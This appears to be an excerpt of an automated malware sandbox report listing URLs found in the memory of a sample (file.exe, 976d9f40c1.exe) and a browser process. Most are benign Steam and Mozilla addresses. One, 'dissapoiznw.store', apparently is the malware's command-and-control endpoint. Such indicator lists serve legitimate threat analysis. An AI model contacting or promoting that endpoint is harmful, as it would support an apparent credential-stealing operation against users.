Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921571137.0000000000F30000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&
Source: file.exe, 00000000.00000003.2167545129.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2250494766.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921571137.0000000000F30000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: firefox.exe, 00000019.00000003.2975681250.000001379E91D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2977256992.000001379E98A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976232127.000001379E938000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2974846355.000001379E700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976412933.000001379E953000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976574533.000001379E96F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3256678310.00000137A6497000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: file.exe, 00000000.00000003.2147753615.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799FAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3157667654.000001804BECB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2147753615.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799FAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3157667654.000001804BECB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3236681244.00000137A10D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3193146359.000001379C9C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3197648410.000001379E1BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3196543245.000001379E02A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3257901918.00000137A67B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dissapoiznw.store:443/apiC&
Source: firefox.exe, 00000019.00000003.2975681250.000001379E91D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976232127.000001379E938000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A69FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3220295992.00000137A0106000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2974846355.000001379E700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976412933.000001379E953000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976574533.000001379E96F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A699D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3271556524.000008FE0D704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3034748232.00000137A699D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3272212732.00000BD3C8A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3215694753.000001379FCAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3272021250.00000A97B4D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3213506140.000001379F603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.2108201890.00000000059D1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108149493.00000000059D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108287783.00000000059D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2108201890.00000000059D1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108149493.00000000059D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108287783.00000000059D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2108201890.00000000059D1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108149493.00000000059D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108287783.00000000059D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3028904621.00000137A8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3026895812.00000137A8F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A925000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000019.00000002.3194453184.000001379DD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3194453184.000001379DD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabRemove
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3194453184.000001379DD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3047116966.00000137A62C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3248631421.00000137A62C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moresetupPrefs/hideDescriptionsRegions
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsEnable
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3201609300.000001379E203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976232127.000001379E938000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2974846355.000001379E700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976412933.000001379E953000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976574533.000001379E96F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: file.exe, 00000000.00000003.2147753615.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799FAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3157667654.000001804BECB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitsection.highlights.includeDownloadsNumber
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A6954000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema9e34c6e7-cbed-40a0-ba63-35488e171013
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schemaplaces.sqlite#1:
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
